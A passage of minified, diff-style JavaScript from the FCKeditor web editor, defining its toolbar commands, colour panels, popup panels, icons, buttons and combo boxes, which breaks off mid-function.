FCKUndoCommand=function(){this.Name='Undo';};FCKUndoCommand.prototype.Execute=function(){if (FCKBrowserInfo.IsIE) FCKUndo.Undo();else FCK.ExecuteNamedCommand('Undo');};FCKUndoCommand.prototype.GetState=function(){if (FCKBrowserInfo.IsIE) return (FCKUndo.CheckUndoState()?0:-1);else return FCK.GetNamedCommandState('Undo');};var FCKRedoCommand=function(){this.Name='Redo';};FCKRedoCommand.prototype.Execute=function(){if (FCKBrowserInfo.IsIE) FCKUndo.Redo();else FCK.ExecuteNamedCommand('Redo');};FCKRedoCommand.prototype.GetState=function(){if (FCKBrowserInfo.IsIE) return (FCKUndo.CheckRedoState()?0:-1);else return FCK.GetNamedCommandState('Redo');};var FCKPageBreakCommand=function(){this.Name='PageBreak';};FCKPageBreakCommand.prototype.Execute=function(){var e=FCK.EditorDocument.createElement('DIV');e.style.pageBreakAfter='always';e.innerHTML='<span style="DISPLAY:none">&nbsp;</span>';var A=FCKDocumentProcessor_CreateFakeImage('FCK__PageBreak',e);A=FCK.InsertElement(A);};FCKPageBreakCommand.prototype.GetState=function(){return 0;};var FCKUnlinkCommand=function(){this.Name='Unlink';};FCKUnlinkCommand.prototype.Execute=function(){if (FCKBrowserInfo.IsGecko){var A=FCK.Selection.MoveToAncestorNode('A');if (A) FCK.Selection.SelectNode(A);};FCK.ExecuteNamedCommand(this.Name);if (FCKBrowserInfo.IsGecko) FCK.Selection.Collapse(true);};FCKUnlinkCommand.prototype.GetState=function(){var A=FCK.GetNamedCommandState(this.Name);if (A==0&&FCK.EditMode==0){var B=FCKSelection.MoveToAncestorNode('A');var C=(B&&B.name.length>0&&B.href.length==0);if (C) A=-1;};return A;};var FCKSelectAllCommand=function(){this.Name='SelectAll';};FCKSelectAllCommand.prototype=new FCKNamedCommand('SelectAll');FCKSelectAllCommand.prototype.GetState=function(){return 0;}
+var FCKSpellCheckCommand=function(){this.Name='SpellCheck';this.IsEnabled=(FCKConfig.SpellChecker=='SpellerPages');};FCKSpellCheckCommand.prototype.Execute=function(){FCKDialog.OpenDialog('FCKDialog_SpellCheck','Spell Check','dialog/fck_spellerpages.html',440,480);};FCKSpellCheckCommand.prototype.GetState=function(){return this.IsEnabled?0:-1;}
+var FCKTextColorCommand=function(A){this.Name=A=='ForeColor'?'TextColor':'BGColor';this.Type=A;var B;if (FCKBrowserInfo.IsIE) B=window;else if (FCK.ToolbarSet._IFrame) B=FCKTools.GetElementWindow(FCK.ToolbarSet._IFrame);else B=window.parent;this._Panel=new FCKPanel(B,true);this._Panel.AppendStyleSheet(FCKConfig.SkinPath+'fck_editor.css');this._Panel.MainNode.className='FCK_Panel';this._CreatePanelBody(this._Panel.Document,this._Panel.MainNode);FCKTools.DisableSelection(this._Panel.Document.body);};FCKTextColorCommand.prototype.Execute=function(A,B,C){FCK._ActiveColorPanelType=this.Type;this._Panel.Show(A,B,C);};FCKTextColorCommand.prototype.SetColor=function(A){if (FCK._ActiveColorPanelType=='ForeColor') FCK.ExecuteNamedCommand('ForeColor',A);else if (FCKBrowserInfo.IsGeckoLike){if (FCKBrowserInfo.IsGecko&&!FCKConfig.GeckoUseSPAN) FCK.EditorDocument.execCommand('useCSS',false,false);FCK.ExecuteNamedCommand('hilitecolor',A);if (FCKBrowserInfo.IsGecko&&!FCKConfig.GeckoUseSPAN) FCK.EditorDocument.execCommand('useCSS',false,true);}else FCK.ExecuteNamedCommand('BackColor',A);delete FCK._ActiveColorPanelType;};FCKTextColorCommand.prototype.GetState=function(){return 0;};function FCKTextColorCommand_OnMouseOver()      { this.className='ColorSelected';};function FCKTextColorCommand_OnMouseOut()    { this.className='ColorDeselected';};function FCKTextColorCommand_OnClick(){this.className='ColorDeselected';this.Command.SetColor('#'+this.Color);this.Command._Panel.Hide();};function FCKTextColorCommand_AutoOnClick(){this.className='ColorDeselected';this.Command.SetColor('');this.Command._Panel.Hide();};function FCKTextColorCommand_MoreOnClick(){this.className='ColorDeselected';this.Command._Panel.Hide();FCKDialog.OpenDialog('FCKDialog_Color',FCKLang.DlgColorTitle,'dialog/fck_colorselector.html',400,330,this.Command.SetColor);};FCKTextColorCommand.prototype._CreatePanelBody=function(A,B){function CreateSelectionDiv(){var C=A.createElement("DIV");C.className='ColorDeselected';C.onmouseover=FCKTextColorCommand_OnMouseOver;C.onmouseout=FCKTextColorCommand_OnMouseOut;return C;};var D=B.appendChild(A.createElement("TABLE"));D.className='ForceBaseFont';D.style.tableLayout='fixed';D.cellPadding=0;D.cellSpacing=0;D.border=0;D.width=150;var E=D.insertRow(-1).insertCell(-1);E.colSpan=8;var C=E.appendChild(CreateSelectionDiv());C.innerHTML='<table cellspacing="0" cellpadding="0" width="100%" border="0">\n                       <tr>\n                          <td><div class="ColorBoxBorder"><div class="ColorBox" style="background-color: #000000"></div></div></td>\n                             <td nowrap width="100%" align="center">'+FCKLang.ColorAutomatic+'</td>\n                        </tr>\n         </table>';C.Command=this;C.onclick=FCKTextColorCommand_AutoOnClick;var G=FCKConfig.FontColors.toString().split(',');var H=0;while (H<G.length){var I=D.insertRow(-1);for (var i=0;i<8&&H<G.length;i++,H++){C=I.insertCell(-1).appendChild(CreateSelectionDiv());C.Color=G[H];C.innerHTML='<div class="ColorBoxBorder"><div class="ColorBox" style="background-color: #'+G[H]+'"></div></div>';C.Command=this;C.onclick=FCKTextColorCommand_OnClick;}};E=D.insertRow(-1).insertCell(-1);E.colSpan=8;C=E.appendChild(CreateSelectionDiv());C.innerHTML='<table width="100%" cellpadding="0" cellspacing="0" border="0"><tr><td nowrap align="center">'+FCKLang.ColorMoreColors+'</td></tr></table>';C.Command=this;C.onclick=FCKTextColorCommand_MoreOnClick;}
+var FCKPastePlainTextCommand=function(){this.Name='PasteText';};FCKPastePlainTextCommand.prototype.Execute=function(){FCK.PasteAsPlainText();};FCKPastePlainTextCommand.prototype.GetState=function(){return FCK.GetNamedCommandState('Paste');};
+var FCKPasteWordCommand=function(){this.Name='PasteWord';};FCKPasteWordCommand.prototype.Execute=function(){FCK.PasteFromWord();};FCKPasteWordCommand.prototype.GetState=function(){if (FCKConfig.ForcePasteAsPlainText) return -1;else return FCK.GetNamedCommandState('Paste');};
+var FCKTableCommand=function(A){this.Name=A;};FCKTableCommand.prototype.Execute=function(){FCKUndo.SaveUndoStep();switch (this.Name){case 'TableInsertRow':FCKTableHandler.InsertRow();break;case 'TableDeleteRows':FCKTableHandler.DeleteRows();break;case 'TableInsertColumn':FCKTableHandler.InsertColumn();break;case 'TableDeleteColumns':FCKTableHandler.DeleteColumns();break;case 'TableInsertCell':FCKTableHandler.InsertCell();break;case 'TableDeleteCells':FCKTableHandler.DeleteCells();break;case 'TableMergeCells':FCKTableHandler.MergeCells();break;case 'TableSplitCell':FCKTableHandler.SplitCell();break;case 'TableDelete':FCKTableHandler.DeleteTable();break;default:alert(FCKLang.UnknownCommand.replace(/%1/g,this.Name));}};FCKTableCommand.prototype.GetState=function(){return 0;}
+var FCKStyleCommand=function(){this.Name='Style';this.StylesLoader=new FCKStylesLoader();this.StylesLoader.Load(FCKConfig.StylesXmlPath);this.Styles=this.StylesLoader.Styles;};FCKStyleCommand.prototype.Execute=function(A,B){FCKUndo.SaveUndoStep();if (B.Selected) B.Style.RemoveFromSelection();else B.Style.ApplyToSelection();FCKUndo.SaveUndoStep();FCK.Focus();FCK.Events.FireEvent("OnSelectionChange");};FCKStyleCommand.prototype.GetState=function(){if (!FCK.EditorDocument) return -1;var A=FCK.EditorDocument.selection;if (FCKSelection.GetType()=='Control'){var e=FCKSelection.GetSelectedElement();if (e) return this.StylesLoader.StyleGroups[e.tagName]?0:-1;};return 0;};FCKStyleCommand.prototype.GetActiveStyles=function(){var A=[];if (FCKSelection.GetType()=='Control') this._CheckStyle(FCKSelection.GetSelectedElement(),A,false);else this._CheckStyle(FCKSelection.GetParentElement(),A,true);return A;};FCKStyleCommand.prototype._CheckStyle=function(A,B,C){if (!A) return;if (A.nodeType==1){var D=this.StylesLoader.StyleGroups[A.tagName];if (D){for (var i=0;i<D.length;i++){if (D[i].IsEqual(A)) B[B.length]=D[i];}}};if (C) this._CheckStyle(A.parentNode,B,C);}
+var FCKFitWindow=function(){this.Name='FitWindow';};FCKFitWindow.prototype.Execute=function(){var A=window.frameElement;var B=A.style;var C=parent;var D=C.document.documentElement;var E=C.document.body;var F=E.style;var G;if (!this.IsMaximized){if(FCKBrowserInfo.IsIE) C.attachEvent('onresize',FCKFitWindow_Resize);else C.addEventListener('resize',FCKFitWindow_Resize,true);this._ScrollPos=FCKTools.GetScrollPosition(C);G=A;while((G=G.parentNode)){if (G.nodeType==1) G._fckSavedStyles=FCKTools.SaveStyles(G);};if (FCKBrowserInfo.IsIE){this.documentElementOverflow=D.style.overflow;D.style.overflow='hidden';F.overflow='hidden';}else{F.overflow='hidden';F.width='0px';F.height='0px';};this._EditorFrameStyles=FCKTools.SaveStyles(A);var H=FCKTools.GetViewPaneSize(C);B.position="absolute";B.zIndex=FCKConfig.FloatingPanelsZIndex-1;B.left="0px";B.top="0px";B.width=H.Width+"px";B.height=H.Height+"px";if (!FCKBrowserInfo.IsIE){B.borderRight=B.borderBottom="9999px solid white";B.backgroundColor="white";};C.scrollTo(0,0);this.IsMaximized=true;}else{if(FCKBrowserInfo.IsIE) C.detachEvent("onresize",FCKFitWindow_Resize);else C.removeEventListener("resize",FCKFitWindow_Resize,true);G=A;while((G=G.parentNode)){if (G._fckSavedStyles){FCKTools.RestoreStyles(G,G._fckSavedStyles);G._fckSavedStyles=null;}};if (FCKBrowserInfo.IsIE) D.style.overflow=this.documentElementOverflow;FCKTools.RestoreStyles(A,this._EditorFrameStyles);C.scrollTo(this._ScrollPos.X,this._ScrollPos.Y);this.IsMaximized=false;};FCKToolbarItems.GetItem('FitWindow').RefreshState();FCK.EditingArea.MakeEditable();FCK.Focus();};FCKFitWindow.prototype.GetState=function(){if (FCKConfig.ToolbarLocation!='In') return -1;else return (this.IsMaximized?1:0);};function FCKFitWindow_Resize(){var A=FCKTools.GetViewPaneSize(parent);var B=window.frameElement.style;B.width=A.Width+'px';B.height=A.Height+'px';};
+var FCKCommands=FCK.Commands={};FCKCommands.LoadedCommands={};FCKCommands.RegisterCommand=function(A,B){this.LoadedCommands[A]=B;};FCKCommands.GetCommand=function(A){var B=FCKCommands.LoadedCommands[A];if (B) return B;switch (A){case 'DocProps':B=new FCKDialogCommand('DocProps',FCKLang.DocProps,'dialog/fck_docprops.html',400,390,FCKCommands.GetFullPageState);break;case 'Templates':B=new FCKDialogCommand('Templates',FCKLang.DlgTemplatesTitle,'dialog/fck_template.html',380,450);break;case 'Link':B=new FCKDialogCommand('Link',FCKLang.DlgLnkWindowTitle,'dialog/fck_link.html',400,330);break;case 'Unlink':B=new FCKUnlinkCommand();break;case 'Anchor':B=new FCKDialogCommand('Anchor',FCKLang.DlgAnchorTitle,'dialog/fck_anchor.html',370,170);break;case 'BulletedList':B=new FCKDialogCommand('BulletedList',FCKLang.BulletedListProp,'dialog/fck_listprop.html?UL',370,170);break;case 'NumberedList':B=new FCKDialogCommand('NumberedList',FCKLang.NumberedListProp,'dialog/fck_listprop.html?OL',370,170);break;case 'About':B=new FCKDialogCommand('About',FCKLang.About,'dialog/fck_about.html',400,330);break;case 'Find':B=new FCKDialogCommand('Find',FCKLang.DlgFindTitle,'dialog/fck_find.html',340,170);break;case 'Replace':B=new FCKDialogCommand('Replace',FCKLang.DlgReplaceTitle,'dialog/fck_replace.html',340,200);break;case 'Image':B=new FCKDialogCommand('Image',FCKLang.DlgImgTitle,'dialog/fck_image.html',450,400);break;case 'Flash':B=new FCKDialogCommand('Flash',FCKLang.DlgFlashTitle,'dialog/fck_flash.html',450,400);break;case 'SpecialChar':B=new FCKDialogCommand('SpecialChar',FCKLang.DlgSpecialCharTitle,'dialog/fck_specialchar.html',400,320);break;case 'Smiley':B=new FCKDialogCommand('Smiley',FCKLang.DlgSmileyTitle,'dialog/fck_smiley.html',FCKConfig.SmileyWindowWidth,FCKConfig.SmileyWindowHeight);break;case 'Table':B=new FCKDialogCommand('Table',FCKLang.DlgTableTitle,'dialog/fck_table.html',450,250);break;case 'TableProp':B=new FCKDialogCommand('Table',FCKLang.DlgTableTitle,'dialog/fck_table.html?Parent',400,250);break;case 'TableCellProp':B=new FCKDialogCommand('TableCell',FCKLang.DlgCellTitle,'dialog/fck_tablecell.html',550,250);break;case 'Style':B=new FCKStyleCommand();break;case 'FontName':B=new FCKFontNameCommand();break;case 'FontSize':B=new FCKFontSizeCommand();break;case 'FontFormat':B=new FCKFormatBlockCommand();break;case 'Source':B=new FCKSourceCommand();break;case 'Preview':B=new FCKPreviewCommand();break;case 'Save':B=new FCKSaveCommand();break;case 'NewPage':B=new FCKNewPageCommand();break;case 'PageBreak':B=new FCKPageBreakCommand();break;case 'TextColor':B=new FCKTextColorCommand('ForeColor');break;case 'BGColor':B=new FCKTextColorCommand('BackColor');break;case 'PasteText':B=new FCKPastePlainTextCommand();break;case 'PasteWord':B=new FCKPasteWordCommand();break;case 'TableInsertRow':B=new FCKTableCommand('TableInsertRow');break;case 'TableDeleteRows':B=new FCKTableCommand('TableDeleteRows');break;case 'TableInsertColumn':B=new FCKTableCommand('TableInsertColumn');break;case 'TableDeleteColumns':B=new FCKTableCommand('TableDeleteColumns');break;case 'TableInsertCell':B=new FCKTableCommand('TableInsertCell');break;case 'TableDeleteCells':B=new FCKTableCommand('TableDeleteCells');break;case 'TableMergeCells':B=new FCKTableCommand('TableMergeCells');break;case 'TableSplitCell':B=new FCKTableCommand('TableSplitCell');break;case 'TableDelete':B=new FCKTableCommand('TableDelete');break;case 'Form':B=new FCKDialogCommand('Form',FCKLang.Form,'dialog/fck_form.html',380,230);break;case 'Checkbox':B=new FCKDialogCommand('Checkbox',FCKLang.Checkbox,'dialog/fck_checkbox.html',380,230);break;case 'Radio':B=new FCKDialogCommand('Radio',FCKLang.RadioButton,'dialog/fck_radiobutton.html',380,230);break;case 'TextField':B=new FCKDialogCommand('TextField',FCKLang.TextField,'dialog/fck_textfield.html',380,230);break;case 'Textarea':B=new FCKDialogCommand('Textarea',FCKLang.Textarea,'dialog/fck_textarea.html',380,230);break;case 'HiddenField':B=new FCKDialogCommand('HiddenField',FCKLang.HiddenField,'dialog/fck_hiddenfield.html',380,230);break;case 'Button':B=new FCKDialogCommand('Button',FCKLang.Button,'dialog/fck_button.html',380,230);break;case 'Select':B=new FCKDialogCommand('Select',FCKLang.SelectionField,'dialog/fck_select.html',400,380);break;case 'ImageButton':B=new FCKDialogCommand('ImageButton',FCKLang.ImageButton,'dialog/fck_image.html?ImageButton',450,400);break;case 'SpellCheck':B=new FCKSpellCheckCommand();break;case 'FitWindow':B=new FCKFitWindow();break;case 'Undo':B=new FCKUndoCommand();break;case 'Redo':B=new FCKRedoCommand();break;case 'SelectAll':B=new FCKSelectAllCommand();break;case 'Undefined':B=new FCKUndefinedCommand();break;default:if (FCKRegexLib.NamedCommands.test(A)) B=new FCKNamedCommand(A);else{alert(FCKLang.UnknownCommand.replace(/%1/g,A));return null;}};FCKCommands.LoadedCommands[A]=B;return B;};FCKCommands.GetFullPageState=function(){return FCKConfig.FullPage?0:-1;};
+var FCKPanel=function(A){this.IsRTL=(FCKLang.Dir=='rtl');this.IsContextMenu=false;this._LockCounter=0;this._Window=A||window;var B;if (FCKBrowserInfo.IsIE){this._Popup=this._Window.createPopup();B=this.Document=this._Popup.document;FCK.IECleanup.AddItem(this,FCKPanel_Cleanup);}else{var C=this._IFrame=this._Window.document.createElement('iframe');C.src='javascript:void(0)';C.allowTransparency=true;C.frameBorder='0';C.scrolling='no';C.style.position='absolute';C.style.zIndex=FCKConfig.FloatingPanelsZIndex;C.width=C.height=0;if (this._Window==window.parent&&window.frameElement) window.frameElement.parentNode.insertBefore(C,window.frameElement);else this._Window.document.body.appendChild(C);var D=C.contentWindow;B=this.Document=D.document;B.open();B.write('<html><head></head><body style="margin:0px;padding:0px;"><\/body><\/html>');B.close();FCKTools.AddEventListenerEx(D,'focus',FCKPanel_Window_OnFocus,this);FCKTools.AddEventListenerEx(D,'blur',FCKPanel_Window_OnBlur,this);};B.dir=FCKLang.Dir;B.oncontextmenu=FCKTools.CancelEvent;this.MainNode=B.body.appendChild(B.createElement('DIV'));this.MainNode.style.cssFloat=this.IsRTL?'right':'left';};FCKPanel.prototype.AppendStyleSheet=function(A){FCKTools.AppendStyleSheet(this.Document,A);};FCKPanel.prototype.Preload=function(x,y,A){if (this._Popup) this._Popup.show(x,y,0,0,A);};FCKPanel.prototype.Show=function(x,y,A,B,C){var D;if (this._Popup){this._Popup.show(x,y,0,0,A);this.MainNode.style.width=B?B+'px':'';this.MainNode.style.height=C?C+'px':'';D=this.MainNode.offsetWidth;if (this.IsRTL){if (this.IsContextMenu) x=x-D+1;else if (A) x=(x*-1)+A.offsetWidth-D;};this._Popup.show(x,y,D,this.MainNode.offsetHeight,A);if (this.OnHide){if (this._Timer) CheckPopupOnHide.call(this,true);this._Timer=FCKTools.SetInterval(CheckPopupOnHide,100,this);}}else{if (typeof(FCKFocusManager)!='undefined') FCKFocusManager.Lock();if (this.ParentPanel) this.ParentPanel.Lock();this.MainNode.style.width=B?B+'px':'';this.MainNode.style.height=C?C+'px':'';D=this.MainNode.offsetWidth;if (!B)     this._IFrame.width=1;if (!C)    this._IFrame.height=1;D=this.MainNode.offsetWidth;var E=FCKTools.GetElementPosition(A.nodeType==9?(FCKTools.IsStrictMode(A)?A.documentElement:A.body):A,this._Window);if (this.IsRTL&&!this.IsContextMenu) x=(x*-1);x+=E.X;y+=E.Y;if (this.IsRTL){if (this.IsContextMenu) x=x-D+1;else if (A) x=x+A.offsetWidth-D;}else{var F=FCKTools.GetViewPaneSize(this._Window);var G=FCKTools.GetScrollPosition(this._Window);var H=F.Height+G.Y;var I=F.Width+G.X;if ((x+D)>I) x-=x+D-I;if ((y+this.MainNode.offsetHeight)>H) y-=y+this.MainNode.offsetHeight-H;};if (x<0) x=0;this._IFrame.style.left=x+'px';this._IFrame.style.top=y+'px';var J=D;var K=this.MainNode.offsetHeight;this._IFrame.width=J;this._IFrame.height=K;this._IFrame.contentWindow.focus();};this._IsOpened=true;FCKTools.RunFunction(this.OnShow,this);};FCKPanel.prototype.Hide=function(A){if (this._Popup) this._Popup.hide();else{if (!this._IsOpened) return;if (typeof(FCKFocusManager)!='undefined') FCKFocusManager.Unlock();this._IFrame.width=this._IFrame.height=0;this._IsOpened=false;if (this.ParentPanel) this.ParentPanel.Unlock();if (!A) FCKTools.RunFunction(this.OnHide,this);}};FCKPanel.prototype.CheckIsOpened=function(){if (this._Popup) return this._Popup.isOpen;else return this._IsOpened;};FCKPanel.prototype.CreateChildPanel=function(){var A=this._Popup?FCKTools.GetDocumentWindow(this.Document):this._Window;var B=new FCKPanel(A,true);B.ParentPanel=this;return B;};FCKPanel.prototype.Lock=function(){this._LockCounter++;};FCKPanel.prototype.Unlock=function(){if (--this._LockCounter==0&&!this.HasFocus) this.Hide();};function FCKPanel_Window_OnFocus(e,A){A.HasFocus=true;};function FCKPanel_Window_OnBlur(e,A){A.HasFocus=false;if (A._LockCounter==0) FCKTools.RunFunction(A.Hide,A);};function CheckPopupOnHide(A){if (A||!this._Popup.isOpen){window.clearInterval(this._Timer);this._Timer=null;FCKTools.RunFunction(this.OnHide,this);}};function FCKPanel_Cleanup(){this._Popup=null;this._Window=null;this.Document=null;this.MainNode=null;}
+var FCKIcon=function(A){var B=A?typeof(A):'undefined';switch (B){case 'number':this.Path=FCKConfig.SkinPath+'fck_strip.gif';this.Size=16;this.Position=A;break;case 'undefined':this.Path=FCK_SPACER_PATH;break;case 'string':this.Path=A;break;default:this.Path=A[0];this.Size=A[1];this.Position=A[2];}};FCKIcon.prototype.CreateIconElement=function(A){var B,eIconImage;if (this.Position){var C='-'+((this.Position-1)*this.Size)+'px';if (FCKBrowserInfo.IsIE){B=A.createElement('DIV');eIconImage=B.appendChild(A.createElement('IMG'));eIconImage.src=this.Path;eIconImage.style.top=C;}else{B=A.createElement('IMG');B.src=FCK_SPACER_PATH;B.style.backgroundPosition='0px '+C;B.style.backgroundImage='url('+this.Path+')';}}else{B=A.createElement('DIV');eIconImage=B.appendChild(A.createElement('IMG'));eIconImage.src=this.Path?this.Path:FCK_SPACER_PATH;};B.className='TB_Button_Image';return B;}
+var FCKToolbarButtonUI=function(A,B,C,D,E,F){this.Name=A;this.Label=B||A;this.Tooltip=C||this.Label;this.Style=E||0;this.State=F||0;this.Icon=new FCKIcon(D);if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKToolbarButtonUI_Cleanup);};FCKToolbarButtonUI.prototype._CreatePaddingElement=function(A){var B=A.createElement('IMG');B.className='TB_Button_Padding';B.src=FCK_SPACER_PATH;return B;};FCKToolbarButtonUI.prototype.Create=function(A){var B=this.MainElement;if (B){FCKToolbarButtonUI_Cleanup.call(this);if (B.parentNode) B.parentNode.removeChild(B);B=this.MainElement=null;};var C=FCKTools.GetElementDocument(A);B=this.MainElement=C.createElement('DIV');B._FCKButton=this;B.title=this.Tooltip;if (FCKBrowserInfo.IsGecko) B.onmousedown=FCKTools.CancelEvent;this.ChangeState(this.State,true);if (this.Style==0&&!this.ShowArrow){B.appendChild(this.Icon.CreateIconElement(C));}else{var D=B.appendChild(C.createElement('TABLE'));D.cellPadding=0;D.cellSpacing=0;var E=D.insertRow(-1);var F=E.insertCell(-1);if (this.Style==0||this.Style==2) F.appendChild(this.Icon.CreateIconElement(C));else F.appendChild(this._CreatePaddingElement(C));if (this.Style==1||this.Style==2){F=E.insertCell(-1);F.className='TB_Button_Text';F.noWrap=true;F.appendChild(C.createTextNode(this.Label));};if (this.ShowArrow){if (this.Style!=0){E.insertCell(-1).appendChild(this._CreatePaddingElement(C));};F=E.insertCell(-1);var G=F.appendChild(C.createElement('IMG'));G.src=FCKConfig.SkinPath+'images/toolbar.buttonarrow.gif';G.width=5;G.height=3;};F=E.insertCell(-1);F.appendChild(this._CreatePaddingElement(C));};A.appendChild(B);};FCKToolbarButtonUI.prototype.ChangeState=function(A,B){if (!B&&this.State==A) return;var e=this.MainElement;switch (parseInt(A,10)){case 0:e.className='TB_Button_Off';e.onmouseover=FCKToolbarButton_OnMouseOverOff;e.onmouseout=FCKToolbarButton_OnMouseOutOff;e.onclick=FCKToolbarButton_OnClick;break;case 1:e.className='TB_Button_On';e.onmouseover=FCKToolbarButton_OnMouseOverOn;e.onmouseout=FCKToolbarButton_OnMouseOutOn;e.onclick=FCKToolbarButton_OnClick;break;case -1:e.className='TB_Button_Disabled';e.onmouseover=null;e.onmouseout=null;e.onclick=null;break;};this.State=A;};function FCKToolbarButtonUI_Cleanup(){if (this.MainElement){this.MainElement._FCKButton=null;this.MainElement=null;}};function FCKToolbarButton_OnMouseOverOn(){this.className='TB_Button_On_Over';};function FCKToolbarButton_OnMouseOutOn(){this.className='TB_Button_On';};function FCKToolbarButton_OnMouseOverOff(){this.className='TB_Button_Off_Over';};function FCKToolbarButton_OnMouseOutOff(){this.className='TB_Button_Off';};function FCKToolbarButton_OnClick(e){if (this._FCKButton.OnClick) this._FCKButton.OnClick(this._FCKButton);};
+var FCKToolbarButton=function(A,B,C,D,E,F,G){this.CommandName=A;this.Label=B;this.Tooltip=C;this.Style=D;this.SourceView=E?true:false;this.ContextSensitive=F?true:false;if (G==null) this.IconPath=FCKConfig.SkinPath+'toolbar/'+A.toLowerCase()+'.gif';else if (typeof(G)=='number') this.IconPath=[FCKConfig.SkinPath+'fck_strip.gif',16,G];};FCKToolbarButton.prototype.Create=function(A){this._UIButton=new FCKToolbarButtonUI(this.CommandName,this.Label,this.Tooltip,this.IconPath,this.Style);this._UIButton.OnClick=this.Click;this._UIButton._ToolbarButton=this;this._UIButton.Create(A);};FCKToolbarButton.prototype.RefreshState=function(){var A=FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(this.CommandName).GetState();if (A==this._UIButton.State) return;this._UIButton.ChangeState(A);};FCKToolbarButton.prototype.Click=function(){var A=this._ToolbarButton||this;FCK.ToolbarSet.CurrentInstance.Commands.GetCommand(A.CommandName).Execute();};FCKToolbarButton.prototype.Enable=function(){this.RefreshState();};FCKToolbarButton.prototype.Disable=function(){this._UIButton.ChangeState(-1);}
+var FCKSpecialCombo=function(A,B,C,D,E){this.FieldWidth=B||100;this.PanelWidth=C||150;this.PanelMaxHeight=D||150;this.Label='&nbsp;';this.Caption=A;this.Tooltip=A;this.Style=2;this.Enabled=true;this.Items={};this._Panel=new FCKPanel(E||window,true);this._Panel.AppendStyleSheet(FCKConfig.SkinPath+'fck_editor.css');this._PanelBox=this._Panel.MainNode.appendChild(this._Panel.Document.createElement('DIV'));this._PanelBox.className='SC_Panel';this._PanelBox.style.width=this.PanelWidth+'px';this._PanelBox.innerHTML='<table cellpadding="0" cellspacing="0" width="100%" style="TABLE-LAYOUT: fixed"><tr><td nowrap></td></tr></table>';this._ItemsHolderEl=this._PanelBox.getElementsByTagName('TD')[0];if (FCK.IECleanup) FCK.IECleanup.AddItem(this,FCKSpecialCombo_Cleanup);};function FCKSpecialCombo_ItemOnMouseOver(){this.className+=' SC_ItemOver';};function FCKSpecialCombo_ItemOnMouseOut(){this.className=this.originalClass;};function FCKSpecialCombo_ItemOnClick(){this.className=this.originalClass;this.FCKSpecialCombo._Panel.Hide();this.FCKSpecialCombo.SetLabel(this.FCKItemLabel);if (typeof(this.FCKSpecialCombo.OnSelect)=='function') this.FCKSpecialCombo.OnSelect(this.FCKItemID,this);};FCKSpecialCombo.prototype.AddItem=function(A,B,C,D){var E=this._ItemsHolderEl.appendChild(this._Panel.Document.createElement('DIV'));E.className=E.originalClass='SC_Item';E.innerHTML=B;E.FCKItemID=A;E.FCKItemLabel=C||A;E.FCKSpecialCombo=this;E.Selected=false;if (FCKBrowserInfo.IsIE) E.style.width='100%';if (D) E.style.backgroundColor=D;E.onmouseover=FCKSpecialCombo_ItemOnMouseOver;E.onmouseout=FCKSpecialCombo_ItemOnMouseOut;E.onclick=FCKSpecialCombo_ItemOnClick;this.Items[A.toString().toLowerCase()]=E;return E;};FCKSpecialCombo.prototype.SelectItem=function(A){A=A?A.toString().toLowerCase():'';var B=this.Items[A];if (B){B.className=B.originalClass='SC_ItemSelected';B.Selected=true;}};FCKSpecialCombo.prototype.SelectItemByLabel=function(A,B){for (var C in this.Items){var D=this.Items[C];if (D.FCKItemLabel==A){D.className=D.originalClass='SC_ItemSelected';D.Selected=true;if (B) this.SetLabel(A);}}};FCKSpecialCombo.prototype.DeselectAll=function(A){for (var i in this.Items){this.Items[i].className=this.Items[i].originalClass='SC_Item';this.Items[i].Selected=false;};if (A) this.SetLabel('');};FCKSpecialCombo.prototype.SetLabelById=function(A){A=A?A.toString().toLowerCase():'';var B=this.Items[A];this.SetLabel(B?B.FCKItemLabel:'');};FCKSpecialCombo.prototype.SetLabel=function(A){this.Label=A.length==0?'&nbsp;':A;if (this._LabelEl){this._LabelEl.innerHTML=this.Label;FCKTools.DisableSelection(this._LabelEl);}};FCKSpecialCombo.prototype.SetEnabled=function(A){this.Enabled=A;this._OuterTable.className=A?'':'SC_FieldDisabled';};FCKSpecialCombo.prototype.Create=function(A){var B=FCKTools.GetElementDocument(A);var C=this._OuterTable=A.appendChild(B.createElement('TABLE'));C.cellPadding=0;C.cellSpacing=0;C.insertRow(-1);var D;var E;switch (this.Style){case 0:D='TB_ButtonType_Icon';E=false;break;case 1:D='TB_ButtonType_Text';E=false;break;case 2:E=true;break;};if (this.Caption&&this.Caption.length>0&&E){var F=C.rows[0].insertCell(-1);F.innerHTML=this.Caption;F.className='SC_FieldCaption';};var G=FCKTools.AppendElement(C.rows[0].insertCell(-1),'div');if (E){G.className='SC_Field';G.style.width=this.FieldWidth+'px';G.innerHTML='<table width="100%" cellpadding="0" cellspacing="0" style="TABLE-LAYOUT: fixed;"><tbody><tr><td class="SC_FieldLabel"><label>&nbsp;</label></td><td class="SC_FieldButton">&nbsp;</td></tr></tbody></table>';this._LabelEl=G.getElementsByTagName('label')[0];this._LabelEl.innerHTML=this.Label;}else{G.className='TB_Button_Off';G.innerHTML='<table title="'+this.Tooltip+'" class="'+D+'" cellspacing="0" cellpadding="0" border="0"><tr><td><img class="TB_Button_Padding" src="'+FCK_SPACER_PATH+'" /></td><td class="TB_Text">'+this.Caption+'</td><td><img class="TB_Button_Padding" src="'+FCK_SPACER_PATH+'" /></td><td class="TB_ButtonArrow"><img src="'+FCKConfig.SkinPath+'images/toolbar.buttonarrow.gif" width="5" height="3"></td><td><img class="TB_Button_Padding" src="'+FCK_SPACER_PATH+'" /></td></tr></table>';};G.SpecialCombo=this;G.onmouseover=FCKSpecialCombo_OnMouseOver;G.onmouseout=FCKSpecialCombo_OnMouseOut;G.onclick=FCKSpecialCombo_OnClick;FCKTools.DisableSelection(this._Panel.Document.body);};function FCKSpecialCombo_Cleanup(){this._LabelEl=null;this._OuterTable=null;this._ItemsHolderEl=null;this._PanelBox=null;if (this.Items){for (var A in this.Items) this.Items[A]=null;}};function FCKSpecialCombo_OnMouseOver(){if (this.SpecialCombo.Enabled){switch (this.SpecialCombo.Style){case 0:this.className='TB_Button_On_Over';break;case 1:this.className='TB_Button_On_Over';break;case 2:this.className='SC_Field SC_FieldOver';break;}}};function FCKSpecialCombo_OnMouseOut(){switch (this.SpecialCombo.Style){case 0:this.className='TB_Button_Off';break;case 1:this.className='TB_Button_Off';break;case 2:this.className='SC_Field';break;}};function FCKSpecialCombo_OnClick(e){var A=this.SpecialCombo;if (A.Enabled){var B=A._Panel;var C=A._PanelBox;var D=A._ItemsHolderEl;var E=A.PanelMaxHeight;if (A.OnBeforeClick) A.OnBeforeClick(A);if 